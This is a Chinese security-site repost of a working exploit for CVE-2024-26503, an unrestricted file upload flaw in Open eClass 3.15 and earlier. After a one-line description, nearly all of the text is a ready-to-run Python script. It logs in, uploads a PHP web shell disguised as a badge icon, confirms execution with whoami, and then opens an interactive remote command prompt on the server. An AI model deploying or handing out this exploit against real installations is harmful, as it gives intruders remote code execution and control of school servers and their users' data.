CVE-2024-26503

admin 2024年4月24日22:02:50评论52 views字数 3262阅读10分52秒阅读模式

漏洞描述

Greek Universities Network Open eClass v.3.15及更早版本中的无限制文件上传漏洞允许攻击者上传恶意文件,从而获取服务器权限。

资产测绘

FOFA:

漏洞复现

python exploit.py -u 'username' -p 'password' -e 'http://'

import requests
import argparse

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RESET = '\033[0m'
ORANGE = '\033[38;5;208m'

def banner():
    print(f'''{RED}

  ___  _  _  ____     ____   __  ____   ___      ____   ___   ___   __  ____ 
 / __)/ )( \\(  __)___(___ \\ /  \\(___ \\ / _ \\ ___(___ \\ / __) / __) /  \\( __ \\
( (__ \\ \\/ / ) _)(___)/ __/(  0 )/ __/(__  ((___)/ __/(  _ \\(___ \\(  0 )(__ (
 \\___) \\__/ (____)   (____) \\__/(____)  (__/    (____) \\___/(____/ \\__/(____/

{YELLOW}
 ============================ fuck you ============================

{RESET}  ''')

def execute_command(openeclass):
    while True:
        # Prompt for user input with "eclass"
        cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")

        # Check if the command is 'quit', then break the loop
        if cmd.lower() == "quit":
            print(f"{ORANGE}\nExiting... removing '{RED}execute.php{ORANGE}'{RESET}")
            requests.get(f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=rm execute.php")
            break

        # Construct the URL with the user-provided command
        url = f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd={cmd}"

        # Execute the GET request
        try:
            response = requests.get(url)
            # Check if the request was successful
            if response.status_code == 200:
                # Print the response text
                print(f"{GREEN}{response.text}{RESET}")
        except requests.exceptions.RequestException as e:
            # Print any error that occurs during the request
            print(f"{RED}An error occurred: {e}{RESET}")


def upload_web_shell(openeclass, username, password):

    login_url = f'{openeclass}/?login_page=1'

    login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'

    # Login credentials
    payload = {
        'next': '/main/portfolio.php',
        'uname': f'{username}',
        'pass': f'{password}',
        'submit': 'Enter'
    }

    headers = {
        'Referer': login_page_url,
    }

    # Use a session to ensure cookies are handled correctly
    with requests.Session() as session:
        # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
        session.get(login_page_url)
        
        # Post the login credentials
        response = session.post(login_url, headers=headers, data=payload)
        

        url = f'{openeclass}/modules/admin/certbadge.php'
        files = {
            'icon': ('execute.php', '<?php echo  shell_exec($_GET[\'cmd\']) ;?>', 'text/plain'),
            'name': (None, ''),
            'description': (None, ''),
            'submit_badge_icon': (None, '')
        }
        response = session.post(url, files=files)


def is_successfull(openeclass):

    url = f"{openeclass}/courses/user_progress_data/badge_templates/execute.php?cmd=whoami"

    # Execute the GET request
    try:
        response = requests.get(url)
        # Check if the request was successful
        if response.status_code == 200:
            # Print the response text
            return True
        else:
            print("EXPLOITATION FAILED")
            return False
    except requests.exceptions.RequestException as e:
        # Print any error that occurs during the request
        print(f"An error occurred: {e}")



def main():
    parser = argparse.ArgumentParser(description="Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution")
    parser.add_argument('-u', '--username', required=True, help="Username for login")
    parser.add_argument('-p', '--password', required=True, help="Password for login")
    parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")

    args = parser.parse_args()

    banner()
    # Running the main login and execute command function
    upload_web_shell(args.eclass, args.username, args.password)
    if is_successfull(args.eclass) == True :
        execute_command(args.eclass)


if __name__ == "__main__":
    main()

 


原文始发于微信公众号(漏洞文库):【漏洞复现】CVE-2024-26503

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日22:02:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-26503https://cn-sec.com/archives/2686529.html

发表评论

匿名网友 填写信息